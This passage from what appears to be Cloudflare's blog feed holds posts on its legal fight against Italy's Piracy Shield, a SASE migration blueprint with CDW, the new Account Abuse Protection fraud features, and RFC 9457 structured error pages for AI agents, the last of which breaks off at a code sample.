    <p>To understand why we are fighting this, it’s necessary to take a step back and understand Piracy Shield. Marketed by AGCOM as an innovative tool to fight copyright infringement, the system is better understood as a blunt tool for rightsholders to control what is available on the Internet without any traditional legal safeguards.</p><p>Piracy Shield is an unsupervised electronic portal through which an unidentified set of Italian media companies can submit websites and IP addresses that online service providers registered with Piracy Shield are then required to block within 30 minutes. Piracy Shield operates as a “black box” because there is:</p><ul><li><p><b>No judicial oversight:</b> Private companies, not judges or government officials, decide what gets blocked.</p></li><li><p><b>No transparency:</b> The public, and even the service providers themselves, are often left in the dark about who requested a block or why.</p></li><li><p><b>No due process:</b> There is no mechanism for a website owner to challenge a block before their site becomes unavailable on the Italian web.</p></li><li><p><b>No redress:</b> Along with a complete lack of transparency or due process, Piracy Shield offers no effective way for impacted parties to seek redress from erroneous blocking.</p></li></ul><p>It’s not entirely surprising that Piracy Shield so clearly prioritizes the economic interests of media companies over the rights of Italian Internet users. The system was “donated” to the Italian government by SP Tech, an arm of the law firm that represents several of Piracy Shield’s major direct beneficiaries, including Lega Nazionale Professionisti Serie A (Italy’s major soccer league).</p>
    <div>
      <h3>The high cost of Piracy Shield</h3>
      <a href="#the-high-cost-of-piracy-shield">
        
      </a>
    </div>
    <p>Almost immediately after Piracy Shield was rolled out, there were significant problems. In addition to the unworkable 30-minute deadline and the lack of safeguards described above, the scheme requires service providers to engage in IP address blocking. This creates an unavoidable risk of <a href="https://blog.cloudflare.com/consequences-of-ip-blocking/"><u>overblocking innocent websites</u></a> due to the fact that IP addresses are regularly and necessarily shared by thousands of websites. Not surprisingly, within a few months of its launch, Piracy Shield caused major outages for people and businesses who had done nothing wrong. </p><p>Notable failures include:</p><ul><li><p><b>Government and educational blackouts: </b>Tens of thousands of legitimate sites were rendered inaccessible from Italy, including Ukrainian government websites for schools and scientific research.</p></li><li><p><b>Small business &amp; NGO disruption:</b> A wide range of European small businesses and NGOs focused on social programs for women and children were inadvertently blocked.</p></li><li><p><b>Loss of essential services:</b> The system blocked access to Google Drive for over 12 hours, preventing thousands of Italian students and professionals from accessing critical files.</p></li><li><p><b>Persistent collateral blocking:</b> A September 2025 <a href="https://research.utwente.nl/en/publications/90th-minute-a-first-look-to-collateral-damages-and-efficacy-of-th/"><u>study</u></a> by the University of Twente confirmed that the system routinely blocks legitimate websites for months at a time.</p></li></ul><p>Even when faced with clear evidence that Piracy Shield has caused significant and repeated overblocking, AGCOM did not change course. Rather, it chose to <i>expand</i> Piracy Shield to apply to global DNS providers and VPNs, services which are closely associated with privacy and free expression. AGCOM also started taking increasingly aggressive steps to force global service providers, even ones with no legal or operational presence in Italy, to register with Piracy Shield.</p>
    <div>
      <h3>Cloudflare’s principled challenge</h3>
      <a href="#cloudflares-principled-challenge">
        
      </a>
    </div>
    <p>Cloudflare has been clear about the risks posed by Piracy Shield from the beginning. In 2024, we met with AGCOM to highlight the scheme’s structural flaws and <a href="https://labs.ripe.net/author/antonio-prado/live-event-blocking-at-scale-effectiveness-vs-collateral-damage-in-italys-piracy-shield/"><u>consequences</u></a> and proposed <a href="https://blog.cloudflare.com/h1-2025-transparency-report/"><u>more effective ways to collaborate</u></a> that wouldn't break the Internet’s core architecture.  </p><p>When these concerns were ignored, we moved on to legal action. We challenged AGCOM’s effort to force Cloudflare to join Piracy Shield in the Italian administrative courts and, along with the Computer &amp; Communications Industry Association (CCIA), we filed a complaint with the European Commission. More informally, we have continued to reach out to government officials both in Italy and at the EU level to explain our position and make our concerns known. Our position has been consistent and remains that Piracy Shield is incompatible with EU law, most notably the Digital Services Act (DSA), which requires that any content restriction be proportionate and subject to strict procedural safeguards.</p><p>The European Commission, following our complaint, expressed similar concerns, issuing a <a href="https://assets.ctfassets.net/zkvhlag99gkb/2GPYK05HVkVtsXNlZG4VsP/f4a0b571e8be3bb43e28b20973f0a1cb/2025-148-it-en-6852dc2dd741b167827775.pdf"><u>letter</u></a> on June 13, 2025, criticizing the lack of oversight inherent in the Piracy Shield framework. And on December 23, 2025, the Italian administrative court issued an encouraging ruling requiring AGCOM to share with Cloudflare all the records that purportedly support Piracy Shield blocking orders. While we have not yet received those records, we expect them to shed significant light on Piracy Shield’s operations. </p>
    <div>
      <h3>An excessive fine and still no transparency</h3>
      <a href="#an-excessive-fine-and-still-no-transparency">
        
      </a>
    </div>
    <p>Rather than awaiting the outcome of our legal challenges, and less than one week after being ordered to disclose Piracy Shield records to Cloudflare, AGCOM moved on December 29, 2025, to issue its fine. The fine’s timing was not the only eyebrow-raising thing about it. The math behind the penalty is as flawed as the system it is seeking to enforce.</p><p>Under Italian law, fines for non-compliance are capped at 2% of a company’s revenue <i>within the relevant jurisdiction</i>. Based on Cloudflare’s Italian earnings, that cap should have limited any fine to approximately €140,000. Instead, AGCOM calculated the fine based on our <i>global</i> revenue, resulting in a penalty nearly 100 times higher than the legal limit.</p><p>This disproportionate approach sends a chilling message to the global tech community: if you question a flawed regulatory system or defend the rights of your users and the global Internet, you risk facing punitive and excessive financial retaliation.</p><p>At the same time, AGCOM still has not shared with Cloudflare the Piracy Shield records that it was ordered to disclose. Instead, just four days before the deadline for disclosure, AGCOM informed us that it would make some of the records available for inspection at an AGCOM facility in Naples, subject to supervision by AGCOM officials. These limitations are not just unreasonably burdensome and contrary to the letter and spirit of the disclosure order; they raise real questions about why AGCOM is so intent on resisting transparency.</p>
    <div>
      <h3>Next steps: the path forward</h3>
      <a href="#next-steps-the-path-forward">
        
      </a>
    </div>
    <p>We are not backing down. Cloudflare is appealing the €14 million fine, pushing for full access to AGCOM’s Piracy Shield records, and will continue to challenge the underlying legality of the Piracy Shield blocking orders in the Italian administrative courts.</p><p>We recognize that rightsholders have a legitimate interest in protecting their content. In fact, we work with rightsholders every day to address infringement in ways that are precise and effective. But those interests cannot override the basic requirements of legal due process or the technical integrity of the global Internet and our network.</p><p>We will continue to pursue this challenge in the Italian courts and through the European Commission. Global connectivity is too important to be governed by "black boxes" with 30-minute deadlines that result in widespread overblocking with no means of redress. Cloudflare remains committed to building a better Internet: one where the rules are transparent, the regulators are accountable, and the infrastructure that connects the world remains free, open, and secure.</p> ]]></content:encoded>
            <category><![CDATA[Policy & Legal]]></category>
            <category><![CDATA[Privacy]]></category>
            <category><![CDATA[Transparency]]></category>
            <category><![CDATA[Internet Regulation]]></category>
            <category><![CDATA[Cybersecurity]]></category>
            <guid isPermaLink="false">6V4c3s6W2nqoSNaUeUpqWX</guid>
            <dc:creator>Patrick Nemeroff</dc:creator>
            <dc:creator>Emily Terrell</dc:creator>
        </item>
        <item>
            <title><![CDATA[From legacy architecture to Cloudflare One]]></title>
            <link>https://blog.cloudflare.com/legacy-to-agile-sase/</link>
            <pubDate>Fri, 13 Mar 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Learn how Cloudflare and CDW de-risk SASE migrations with a blueprint that treats legacy debt as an application modernization project. ]]></description>
            <content:encoded><![CDATA[ <p>For a network engineer, the cutover weekend is often the most stressful 48 hours of their career. Imagine a 30,000-user organization attempting to flip 1,000+ legacy applications from fragmented VPNs to a new architecture in a single window. The stakes are immense: a single misconfigured firewall rule or a timed-out session can halt essential services and lead to operational gridlock.</p><p>This "big bang" migration risk is the single greatest barrier to <a href="https://www.cloudflare.com/sase/"><u>Zero Trust adoption</u></a>. Organizations often feel trapped between an aging, vulnerable infrastructure and a migration process that feels too risky to attempt.</p><p>Cloudflare and Technology Solutions Provider <a href="https://www.cdw.com/"><u>CDW</u></a> are changing this narrative. We believe that a successful transition to SASE (Secure Access Service Edge) shouldn't feel like a leap into the dark. By combining Cloudflare’s global Zero Trust platform with CDW’s experience navigating the industry’s most complex deployment failures, we provide the strategic roadmap to de-risk the journey. We don't just move your "plumbing" — we ensure your legacy debt is transformed into a modern, agile security posture without the downtime.</p>
    <div>
      <h3>Leveraging partner expertise to avoid migration traps</h3>
      <a href="#leveraging-partner-expertise-to-avoid-migration-traps">
        
      </a>
    </div>
    <p>Traditional migrations often fail because they treat the network as simple plumbing rather than a complex ecosystem of applications. Without a granular strategy, many organizations fall into the "lift and shift" trap — attempting to move hundreds of applications simultaneously without understanding their back-end dependencies.</p><p>To avoid this, CDW uses a risk-aware, tiered methodology. This approach categorizes every application in your environment by its technical complexity. We move simple, modern apps first to build momentum while saving complex, legacy systems for a more controlled, later stage.</p><p>A recent large-scale public sector project serves as a cautionary example of what can happen without this structure. In this case, a team attempted to migrate 500 applications at once. Because they lacked a tiered methodology to prioritize their 4,000+ applications, the move led to systemic service disruptions.</p><p>CDW’s role is to act as the architect that prevents these failures. CDW strategists, many of whom are former security practitioners, analyze these industry-wide failure points to identify recurring anti-patterns that derail <a href="https://www.cloudflare.com/the-net/roadmap-zerotrust/"><u>Zero Trust journeys</u></a> and build a more resilient migration blueprint. By treating migration as an <a href="https://www.cloudflare.com/learning/cloud/application-modernization/"><u>application modernization</u></a> project rather than a single connectivity swap, CDW ensures that security requirements are built into the foundation of the move rather than bolted on as an afterthought.</p>
    <div>
      <h3>Modernizing legacy apps with Cloudflare Access</h3>
      <a href="#modernizing-legacy-apps-with-cloudflare-access">
        
      </a>
    </div>
    <p>To move away from the all-or-nothing risks of the past, we start with the foundation of the solution: <a href="https://www.cloudflare.com/sase/products/access/"><u>Cloudflare Access</u></a>. Before we look at how to migrate complex legacy applications, it’s important to understand the value of the platform itself. Cloudflare Access replaces the broad, vulnerable perimeter of a traditional VPN with a Zero Trust model. Instead of granting a user access to an entire network segment, Access evaluates every single request based on identity, device posture, and other <a href="https://blog.cloudflare.com/adaptive-access-user-risk-scoring/"><u>contextual signals</u></a>. This significantly reduces the attack surface and prevents the lateral movement that leads to the kind of systemic outages we discussed earlier.</p><p>Once this security layer is in place, we can begin "wrapping" legacy applications in Cloudflare Access. This allows us to modernize the security posture of an old app without actually rewriting its code.</p><p>We do this wrapping in <a href="https://www.cloudflare.com/sase/products/access/"><u>Cloudflare Access</u></a> using a specific logic:</p><ul><li><p><b>Problem</b>: A legacy application with no built-in Multi-Factor Authentication (MFA) is exposed via a standard VPN, creating a high-risk entry point for attackers.</p></li><li><p><b>Mitigation</b>: Using Cloudflare Tunnel, we create an outbound-only connection with both Single Sign-On (SSO) and MFA built-in. This effectively hides the application from the public Internet, as it no longer has a public IP address to scan or attack.</p></li><li><p><b>Policy</b>: We then apply a Cloudflare Access policy at the edge. This requires an endpoint hardware-based MFA check and a device health scan before a single packet ever reaches your server.</p></li></ul><p>By using this wrapping technique, CDW and Cloudflare make it possible for organizations to migrate at their own pace. You get the immediate security benefits of a modern cloud environment, while your legacy apps continue to run safely in the background.</p>
    <div>
      <h3>Pre-migration audit</h3>
      <a href="#pre-migration-audit">
        
      </a>
    </div>
    <p>Before launching a pilot, IT leaders must audit the environment for architectural readiness, ensuring legacy systems are technically compatible with modern security protocols. “For large deployments, we focus on application modernization,” says Eric Marchewitz, a security solutions executive at CDW. “Many legacy applications could break if least privilege access was applied without proper preparation."</p>
    <div>
      <h4>1. Architectural &amp; identity assessment</h4>
      <a href="#1-architectural-identity-assessment">
        
      </a>
    </div>
    <ul><li><p><b>Determine identity providers</b>: Confirm which applications rely on a federated Identity Provider (such as Okta) versus those using legacy local directories.</p></li><li><p><b>Map dependencies</b>: Document backend database and API dependencies for each application to prevent service interruptions. This data identifies the hidden API calls that typically break during a cutover if service token-based Tunnel connectivity is not maintained on the backend.</p></li></ul>
    <div>
      <h4>2. Establish firebreak</h4>
      <a href="#2-establish-firebreak">
        
      </a>
    </div>
    <p>Separate the project into a Strategy Group (focused on security standards) and an Implementation Group (focused on efficiency). This ensures that high-level security requirements, like those needed to prevent lateral movement, are not bypassed for the sake of deployment speed.</p>
    <div>
      <h4>3. Persistent session stress test</h4>
      <a href="#3-persistent-session-stress-test">
        
      </a>
    </div>
    <p>Identify applications using legacy architectures to maintain session persistence and avoid connection drops during cellular tower switching. Cloudflare’s architecture, supported by Dynamic <a href="https://developers.cloudflare.com/cloudflare-one/team-and-resources/devices/warp/deployment/mdm-deployment/path-mtu-discovery/"><u>Path MTU Discovery</u></a> (PMTUD), maintains a persistent session at the edge even as the client IP changes. Identifying these users during the audit allows us to displace expensive, rigid legacy hardware with a modern, single-pass architecture.</p>
    <div>
      <h4>4. Categorization &amp; timeline setting</h4>
      <a href="#4-categorization-timeline-setting">
        
      </a>
    </div>
    <p>Once complete, the remaining stack is tiered to set realistic implementation timelines:</p><table><tr><td><p><b>Application Tier</b></p></td><td><p><b>Description</b></p></td><td><p><b>Estimated Migration Effort</b></p></td></tr><tr><td><p>Tier 0 (Modern SaaS Apps)</p></td><td><p>Native SAML/OIDC support so Cloudflare acts as a clientless identity provider proxy during authentication</p></td><td><p>1–3 hours per app</p></td></tr><tr><td><p>Tier 1 (Internal Web Apps)</p></td><td><p>Standard identity headers and modern web protocols support a clientless reverse proxy deployment with Cloudflare Tunnel </p></td><td><p>3–6 hours per app</p></td></tr><tr><td><p>Tier 2 (Non-Web Client-Server Apps)</p></td><td><p>Specific port/protocol support or thick-client configurations required so both Cloudflare One Client and Cloudflare Tunnel deployments are used</p></td><td><p>4–8 hours per app</p></td></tr><tr><td><p>Tier 3 (Legacy Enterprise Apps)</p></td><td><p>Complex server-side connectivity (e.g. peer-to-peer, bidirectional) or back-end dependency requirements so Cloudflare Mesh or WAN deployments may complement Cloudflare Tunnel to support.</p></td><td><p>1–3 days per app; may require code revisions</p></td></tr></table>
    <div>
      <h3>The roadmap to escape velocity</h3>
      <a href="#the-roadmap-to-escape-velocity">
        
      </a>
    </div>
    <p>To achieve "escape velocity" from legacy hardware, CDW follows a phased rollout that prioritizes coexistence over replacement.</p><ol><li><p><b>Phase 1: Strategy &amp; Infrastructure</b>: Formation of strategy and implementation teams. This phase includes identifying CDW strategists — former CISOs and architects — to act as peer sounding boards.</p></li><li><p><b>Phase 2: Pilot Rollout</b>: Deployment of the Cloudflare One Client to a pilot group of employees. During this phase, we address common friction points like the "latency tax,"  ensuring performance doesn't compromise security.</p></li><li><p><b>Phase 3: Production Scaling</b>: Full scaling across the organization. We maintain a dual-client period where users run both legacy VPN and Cloudflare Access in tandem, ensuring a safe rollback path and an easier end-user transition to the new Zero Trust approach.</p></li></ol>
    <div>
      <h3>Performance as a security feature</h3>
      <a href="#performance-as-a-security-feature">
        
      </a>
    </div>
    <p>Cloudflare’s single-pass architecture runs every security check simultaneously. </p><p>"When we talk to customers about the connectivity cloud, the most impactful change isn't just the modern security posture. It's the operational velocity,” notes Annika Garbers, Head of Cloudflare One GTM. “Moving to a single control plane allows a security team to stop being a bottleneck.”</p><p>By building on a <a href="https://blog.cloudflare.com/post-quantum-sase/"><u>post-quantum</u></a> encrypted foundation, we ensure this bridge is future-proofed against the next generation of threats.</p>
    <div>
      <h3>Build your bridge with Cloudflare One's agile SASE</h3>
      <a href="#build-your-bridge-with-cloudflare-ones-agile-sase">
        
      </a>
    </div>
    <p>Modernization is about building a bridge, not a "big bang." This methodology is refined through our Partner Technical Advisory Board, where partner feedback informs our product roadmap directly. By focusing on application modernization and a phased rollout, organizations can regain architectural control and eliminate the fragmentation penalty for good.</p><p>The combination of Cloudflare’s SASE platform and CDW’s migration expertise provides a safety net for the journey. You get the immediate security benefits of identity-based access and phish-resistant MFA, without the operational gridlock of a massive, unmapped cutover.</p><p>The goal isn't just to move your applications to the cloud. It’s to ensure that when you get there, your environment is more resilient, more visible, and significantly harder to breach.</p><p>Ready to de-risk your journey to a zero trust architecture? Use CDW’s Zero Trust Maturity Assessment to identify the hidden dependencies in your environment. Reach out to a Cloudflare One <a href="https://www.cloudflare.com/contact/sase/"><u>expert</u></a> to start your transition with a proven blueprint.</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare One]]></category>
            <category><![CDATA[SASE]]></category>
            <category><![CDATA[Partners]]></category>
            <guid isPermaLink="false">12Trubi4t23iB1Q6AlcjYH</guid>
            <dc:creator>Warnessa Weaver</dc:creator>
        </item>
        <item>
            <title><![CDATA[Announcing Cloudflare Account Abuse Protection: prevent fraudulent attacks from bots and humans]]></title>
            <link>https://blog.cloudflare.com/account-abuse-protection/</link>
            <pubDate>Thu, 12 Mar 2026 05:00:00 GMT</pubDate>
            <description><![CDATA[ Blocking bots isn’t enough anymore. Cloudflare’s new fraud prevention capabilities — now available in Early Access — help stop account abuse before it starts. ]]></description>
            <content:encoded><![CDATA[ <p>Today, Cloudflare is introducing a new suite of fraud prevention capabilities designed to stop account abuse before it starts. We've spent years empowering Cloudflare customers to protect their applications from automated attacks, but the threat landscape has evolved. The industrialization of hybrid automated-and-human abuse presents a complex security challenge to website owners. Consider, for instance, a single account that’s accessed from New York, London, and San Francisco in the same five minutes. The core question in this case is not “Is this automated?” but rather “Is this authentic?” </p><p><b>Website owners need the tools to stop abuse on their website, no matter who it’s coming from</b>.</p><p>During our Birthday Week in 2024, we gifted <a href="https://developers.cloudflare.com/waf/detections/leaked-credentials/"><u>leaked credentials detection</u></a> to all customers, including everyone on a Free plan. Since then, we've added <a href="https://developers.cloudflare.com/bots/additional-configurations/detection-ids/#account-takeover-detections"><u>account takeover detection IDs</u></a> as part of our <a href="https://www.cloudflare.com/application-services/products/bot-management/"><u>bot management solution</u></a> to help identify bots attacking your login pages. </p><p>Now, we’re combining these powerful tools with new ones. <b>Disposable email check</b> and <b>email risk </b>help you enforce security preferences for users who sign up with throwaway email addresses, a common tactic for fake account creation and promotion abuse, or whose emails are deemed risky based on email patterns and infrastructure. We’re also thrilled to introduce <b>Hashed User IDs</b> — per-domain identifiers generated by cryptographically hashing usernames — that give customers better insight into suspicious account activity and greater ability to mitigate potentially fraudulent traffic, without compromising end user privacy.</p><p><b>The new capabilities we’re announcing today go beyond automation, identifying abusive behavior and risky identities among human users </b><b><i>and</i></b><b> bots. </b><a href="https://developers.cloudflare.com/bots/account-abuse-protection/"><u>Account Abuse Protection</u></a> is available in Early Access, and any Bot Management Enterprise customer can use these features at no additional cost for a limited period, until the general availability of Cloudflare Fraud Prevention later this year. If you want to learn more about this Early Access capability, <a href="https://www.cloudflare.com/lp/account-abuse-protection/"><u>sign up here</u></a>.</p>
    <div>
      <h3>Leaked credentials make logins all too vulnerable</h3>
      <a href="#leaked-credentials-make-logins-all-too-vulnerable">
        
      </a>
    </div>
    <p>The barrier to entry for fraudulent behavior is dangerously low, especially with the availability of massive datasets and access to automated tools that commit account fraud at scale. Website owners aren’t just dealing with individual hackers, but industrialized fraud. Last year, we highlighted how <a href="https://blog.cloudflare.com/password-reuse-rampant-half-user-logins-compromised/"><b><u>41% of logins across our network use leaked credentials</u></b></a>. This number has only grown following the exposure of a database holding <a href="https://cybernews.com/security/billions-credentials-exposed-infostealers-data-leak/"><u>16 billion records</u></a>, and multiple high-profile breaches have since come to light. </p><p>What’s more, users reuse passwords across multiple platforms, meaning a single leak from years ago can still unlock a high-value retail or even a bank account today. Our <a href="https://developers.cloudflare.com/waf/detections/leaked-credentials/#leaked-credentials-fields"><u>leaked credential check</u></a> is a free feature that checks whether a password has been leaked in a known data breach of another service or application on the Internet. This is a privacy-preserving credential checking service that helps protect our users from compromised credentials, meaning Cloudflare performs these checks without accessing or storing plaintext end user passwords. <a href="https://blog.cloudflare.com/helping-keep-customers-safe-with-leaked-password-notification/#how-does-cloudflare-check-for-leaked-credentials"><u>Passwords are hashed — i.e., converted into a random string of characters using a cryptographic algorithm — for the purpose of comparing them against a database of leaked credentials.</u></a> If you haven’t already turned on our <a href="https://developers.cloudflare.com/waf/detections/leaked-credentials/#leaked-credentials-fields"><u>leaked credential check</u></a>, enable it now to keep your accounts safe from easy hacks!</p><p>Access to a large database of leaked credentials is only useful if an attacker can cycle through them quickly across many sites to identify which accounts are still vulnerable due to password reuse. In our Black Friday analysis in 2024, we observed that more than <a href="https://blog.cloudflare.com/grinch-bot-2024/"><b><u>60% of traffic to login pages across our network was automated</u></b></a>. That’s a lot of bots trying to break in.</p><p>To help customers protect their login endpoints from constant bombardment, we added <a href="https://www.cloudflare.com/learning/access-management/account-takeover/"><u>account takeover</u></a> <a href="https://developers.cloudflare.com/bots/additional-configurations/detection-ids/account-takeover-detections/"><u>(ATO)-specific detections</u></a> to highlight suspicious traffic patterns. This is part of our recent focus on <a href="https://blog.cloudflare.com/per-customer-bot-defenses/"><u>per-customer detections</u></a>, in which we provide behavioral anomaly detection unique to each bot management customer. Today, bot management customers can see and mitigate attempted ATO attacks in their login requests directly on the Security analytics dashboard.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3f2nQ5wBVQ2WqiKGsjVWJe/3c1011ced84e46f65938f32c88035de9/image5.png" />
          </figure><p><sup><i>In the card on the left within the Security analytics dashboard, you can view and address attempted account takeover attacks.</i></sup></p><p>In the last week, our ATO detections combined caught an average of <b>6.9 billion suspicious login attempts</b> daily, across our network. These ATO detections, along with the many other detection mechanisms in our bot management solution, create a <i>layered defense</i> against ATO and other malicious automated attacks.</p>
    <div>
      <h3>From automation to intent and identity</h3>
      <a href="#from-automation-to-intent-and-identity">
        
      </a>
    </div>
    <p>To discern automation, or to discern intent and identity? That is the question. Our answer: yes and yes, as both are critical layers of a robust security posture. Attackers now operate at a scale previously reserved for enterprise services: they leverage massive credential leaks, use human-powered fraud farms to spoof devices and locations, and create synthetic identities to maintain thousands — even millions — of fake accounts for promotion and platform abuse. A human being with automated tools could be draining accounts, abusing promotions, committing payment fraud, or all of the above.</p><p>Beyond that, automation is accessible like never before, particularly as users become better acquainted with using <a href="https://www.cloudflare.com/learning/ai/what-is-agentic-ai/"><u>AI agents</u></a> and even long-standing, “traditional” browsers move toward having agentic capabilities by default. Whether it’s a lone actor using an AI agent or a coordinated fraud campaign, the threat isn’t as simple as a single script — it can involve human intent, with automated execution.</p><p>Consider the following scenarios we’ve heard from our customers:</p><ul><li><p>We have 1,000 new users this month, but more than half of them are fake identities who benefit from a free trial, then disappear.</p></li><li><p>The attacker logged in with the correct password, so how do I know that it isn’t the real user?</p></li><li><p>This entity is acting at human pace, and they are draining accounts.</p></li></ul><p>These problems can't be solved by <i>only</i> assessing automation; they require checking for authenticity and integrity. This is the gap that our dedicated fraud prevention capabilities address.</p>
    <div>
      <h3>Assessing suspicious emails</h3>
      <a href="#assessing-suspicious-emails">
        
      </a>
    </div>
    <p>Let’s start by assessing the earliest point of potential account abuse: account creation. Fake or bulk account creation is one of the biggest topics in conversations about website fraud, as it can open the door for attackers to access an application — or even an entire business model. </p><p>Cloudflare is giving customers the tools to assess suspicious account creation at the source in two ways:</p><ol><li><p><b>Disposable email check</b>: Detect when users sign up with disposable, or throwaway, email addresses commonly used for promotion abuse and fake account creation. These disposable email services allow attackers to spin up thousands of "unique" accounts without maintaining real infrastructure, particularly unauthenticated disposable emails that provide instant access without account creation or free unlimited email aliases. Customers can use this binary field as they build rules to enforce security preferences, choosing to block all disposable emails outright, or perhaps issuing a <a href="https://developers.cloudflare.com/cloudflare-challenges/challenge-types/"><u>challenge</u></a> to anyone attempting to create an account with a disposable email.
</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3PQC7PqKWrhl5c4OCXu5Ha/9340e3b49cc396ca5f5d01d34fd529d5/image2.png" />
          </figure></li><li><p><b>Email risk:</b> Cloudflare analyzes email patterns and infrastructure to provide risk tiers (low, medium, high) that customers can use in security rules. We know that not all email addresses are created equal; an address with the format <code>firstname.lastname@knowndomain.com</code> carries different risk characteristics than <code>xk7q9m2p@newdomain.xyz</code>. Email risk tiers allow customers to express their tolerance for risk and friction at the point of account creation. </p></li></ol><p>Both disposable email check and email risk are now available in security analytics and security rules, equipping website owners to protect their account creation flow. These detections address a fundamental problem: by the time an account is committing abuse, it's already too late. The website owner has already paid acquisition costs, the fraudulent user has consumed promotional credits, and remediation requires manual review. Mitigating suspicious emails means adding the appropriate friction at signup — the moment it matters most.</p>
    <div>
      <h3>Introducing Hashed User IDs</h3>
      <a href="#introducing-hashed-user-ids">
        
      </a>
    </div>
    <p>Understanding patterns of abuse requires <i>visibility</i>: not only into the network, but of account activity. Traditionally, security has meant looking through the lens of IPs and isolated HTTP requests to spot automated activity, but website owners aren’t just thinking in terms of network signals; they are also considering their users and known accounts. That’s why we’re expanding our mitigation toolbox to match the way applications are actually structured, focusing on user-based detection of fraudulent activity.</p><p>Attackers can effortlessly rotate IPs to hide their tracks. But forcing them to repeatedly generate new, credible accounts introduces massive friction, especially when combined with account creation protections. When we look past the network layer and map fraudulent actions to a given compromised or abusive account, we can spot targeted behavior tied to a single, persistent actor and put a stop to the abuse. In this way, we’re shifting the defense strategy to the account level, instead of playing whack-a-mole with rotating IP addresses and residential proxies. This means that <b>our customers can mitigate abusive behavior based on the way </b><b><i>their</i></b><b> applications separate identity</b>.</p><p>To arm website owners with this capability, Cloudflare is releasing a <a href="https://developers.cloudflare.com/bots/account-abuse-protection/#user-id"><b><u>Hashed User ID</u></b></a> that customers can use in <a href="https://developers.cloudflare.com/waf/analytics/security-analytics/"><u>Security analytics</u></a>, <a href="https://developers.cloudflare.com/waf/custom-rules/"><u>Security rules</u></a>, and <a href="https://developers.cloudflare.com/rules/transform/managed-transforms/reference/"><u>Managed Transforms</u></a>. User IDs are per-domain, cryptographically hashed versions of the values in the username field, and each user ID is an encrypted, unique, and stable identifier generated for a given username on a customer application. <b>Importantly, the actual username is not logged or stored by Cloudflare as part of this service.</b> As with leaked credentials check and ATO detections, which identify login traffic and then encrypt credentials for comparison, we are prioritizing end user privacy while empowering our customers to take action against fraudulent behavior.</p><p>With access to Hashed User IDs, website owners can:</p><ul><li><p>See top users: Which accounts have the most activity?</p></li><li><p>See when a unique user logs in from a country they usually don’t — or multiple countries in one day!</p></li><li><p>Mitigate traffic based on unique user, such as blocking a user with historically suspicious activity.</p></li><li><p>Combine fields to see when accounts are being targeted with leaked credentials.</p></li><li><p>See what network patterns or signals are associated with unique users.</p></li></ul>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3f7Jm4HnngjYEmKG8QSiyC/2ae3543f0cd0eb072a0c4c2bb12c4436/image4.png" />
          </figure><p><sup><i>The expanded view of a single Hashed User ID within the Security analytics dashboard, showing the activity details of that unique user, including their login location and their browser. </i></sup></p><p>This user-level visibility transforms how website owners can investigate and mitigate traffic. Instead of examining individual requests in isolation, our customers can see the full picture of how attackers are targeting and hiding among legitimate users.</p>
    <div>
      <h3>Take the next step in account protection today</h3>
      <a href="#take-the-next-step-in-account-protection-today">
        
      </a>
    </div>
    <p>If you want to learn more about this Early Access capability, <a href="https://www.cloudflare.com/lp/account-abuse-protection/"><u>sign up here</u></a>. All Bot Management Enterprise customers are eligible to add these new Account Abuse Protection features today, and we’d love to open the conversation with any and all <a href="http://www.cloudflare.com/lp/account-abuse-protection"><u>prospective Bot Management customers</u></a>.</p><p>While bot detections will continue to answer the question of automation and intent, fraud detections delve into the question of authenticity. Together, they give website owners comprehensive tools to fight against the full spectrum of account abuse. This suite is one step in our ongoing investment to protect the entire user journey — from account creation and login to secure checkouts and the integrity of every interaction.</p> ]]></content:encoded>
            <category><![CDATA[Fraud]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">3oZLDQYiufcZZYvGXwxpKd</guid>
            <dc:creator>Jin-Hee Lee</dc:creator>
        </item>
        <item>
            <title><![CDATA[Slashing agent token costs by 98% with RFC 9457-compliant error responses]]></title>
            <link>https://blog.cloudflare.com/rfc-9457-agent-error-pages/</link>
            <pubDate>Wed, 11 Mar 2026 13:05:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare now returns RFC 9457-compliant structured Markdown and JSON error payloads to AI agents, replacing heavyweight HTML pages with machine-readable instructions. This reduces token usage by over 98%, turning brittle parsing into efficient control flow. ]]></description>
            <content:encoded><![CDATA[ <p>AI agents are no longer experiments. They are production infrastructure, making billions of HTTP requests per day, navigating the web, calling APIs, and orchestrating complex workflows.</p><p>But when these agents hit an error, they still receive the same HTML error pages we built for browsers: hundreds of lines of markup, CSS, and copy designed for human eyes. Those pages give agents clues, not instructions, and waste time and tokens. That gap is the opportunity to give agents instructions, not obstacles.</p><p>Starting today, Cloudflare returns <a href="https://www.rfc-editor.org/rfc/rfc9457">RFC 9457</a>-compliant structured Markdown and JSON error payloads to AI agents, replacing heavyweight HTML pages with machine-readable instructions.</p><p>That means when an agent sends <code>Accept: text/markdown</code>, <code>Accept: application/json</code>, or <code>Accept: application/problem+json</code> and encounters a Cloudflare error, we return one semantic contract in a structured format instead of HTML. And it comes complete with actionable guidance. (This builds on our recent <a href="https://blog.cloudflare.com/markdown-for-agents/">Markdown for Agents</a> release.)</p><p>So instead of being told only "You were blocked," the agent will read: "You were rate-limited — wait 30 seconds and retry with exponential backoff." Instead of just "Access denied," the agent will be instructed: "This block is intentional: do not retry, contact the site owner."</p><p>These responses are not just clearer — they are dramatically more efficient. Structured error responses cut payload size and token usage by more than 98% versus HTML, measured against a live 1015 ('rate-limit') error response. For agents that hit multiple errors in a workflow, the savings compound quickly.</p><p>This is live across the Cloudflare network, automatically. Site owners do not need to configure anything. Browsers keep getting the same HTML experience as before.</p><p>These are not just error pages. They are instructions for the agentic web.</p>
    <div>
      <h3>What agents see today</h3>
      <a href="#what-agents-see-today">
        
      </a>
    </div>
    <p>When an agent receives a Cloudflare-generated error, it usually means Cloudflare is enforcing customer policy or returning a platform response on the customer's behalf — not that Cloudflare is down. These responses are triggered when a request cannot be served as-is, such as invalid host or DNS routing, customer-defined access controls (WAF, geo, ASN, or bot rules), or edge-enforced limits like rate limiting. In short, Cloudflare is acting as the customer's routing and security layer, and the response explains why the request was blocked or could not proceed.</p><p>Today, those responses are rendered as HTML designed for humans:</p>
            <pre><code>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
